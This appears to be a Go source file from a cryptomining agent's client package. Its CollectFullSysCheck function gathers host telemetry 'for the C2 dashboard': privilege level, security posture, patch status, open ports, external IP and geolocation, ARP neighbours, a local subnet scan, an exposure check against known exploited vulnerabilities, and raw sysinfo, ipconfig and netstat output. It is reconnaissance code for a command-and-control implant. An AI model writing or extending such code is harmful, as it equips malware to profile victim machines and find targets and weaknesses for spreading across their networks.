package client

import (
	"os"
	"runtime"
	"strings"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
)

const syscheckRawMax = 12000

// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
	r := &FullSysCheckReport{
		GeneratedAt: time.Now().UTC().Format(time.RFC3339),
		Platform:    runtime.GOOS,
		Arch:        runtime.GOARCH,
		OSVersion:   deploy.HostOSVersion(),
		WorkerName:  cfg.WorkerName,
		BuildID:     cfg.BuildID,
		AgentID:     agentID,
		Network:     &SysCheckNetwork{},
		Neighbors:   &SysCheckNeighbors{},
	}

	if host, err := os.Hostname(); err == nil {
		r.Hostname = host
	}

	if p := collectPosture(); p != nil {
		r.Security = securityFromPosture(p)
		if p.AgentElevated != nil {
			r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
		}
	}
	r.Patch = collectPatchStatus()
	r.ListenPorts = collectListenPorts()
	r.Resources = collectResourcePressure()

	if dns := probeDNS(); dns != nil {
		r.Network.DNS = dns
	}
	r.Network.Interfaces = listNetInterfaces()
	if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
		r.Network.PrimaryLocalIP = lip
	}
	extIP, src := fetchExternalIP()
	r.Network.ExternalIP = extIP
	r.Network.ExternalIPSource = src
	if extIP != "" {
		r.Network.Geo = fetchGeo(extIP)
	}

	arp := deploy.ArpNeighborIPs()
	r.Neighbors.ArpHosts = arp
	r.Neighbors.ArpCount = len(arp)
	r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)

	collectSysCheckPlatform(r)

	r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)

	if dir, err := cfg.InstallDirectory(); err == nil {
		if r.Environment == nil {
			r.Environment = &SysCheckEnvironment{}
		}
		r.Environment.InstallDir = dir
	}

	r.RawSysinfo = truncateRaw(captureRawSysinfo())
	r.RawIPConfig = truncateRaw(captureRawIPConfig())
	r.RawNetstat = truncateRaw(captureRawNetstat())

	return r
}

func truncateRaw(s string) string {
	s = strings.TrimSpace(s)
	if len(s) <= syscheckRawMax {
		return s
	}
	return s[:syscheckRawMax] + "\n…[truncated]"
}

func captureRawSysinfo() string {
	_, _, msg := platformReconStatic("sysinfo", "")
	return msg
}

func captureRawIPConfig() string {
	_, _, msg := platformReconStatic("ipconfig", "")
	return msg
}

func captureRawNetstat() string {
	_, _, msg := platformReconStatic("netstat", "")
	return msg
}

// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
func platformReconStatic(action, command string) (bool, bool, string) {
	// Minimal stub client-free path: duplicate switch via temp
	ac := &AgentClient{}
	return ac.platformRecon(action, command)
}
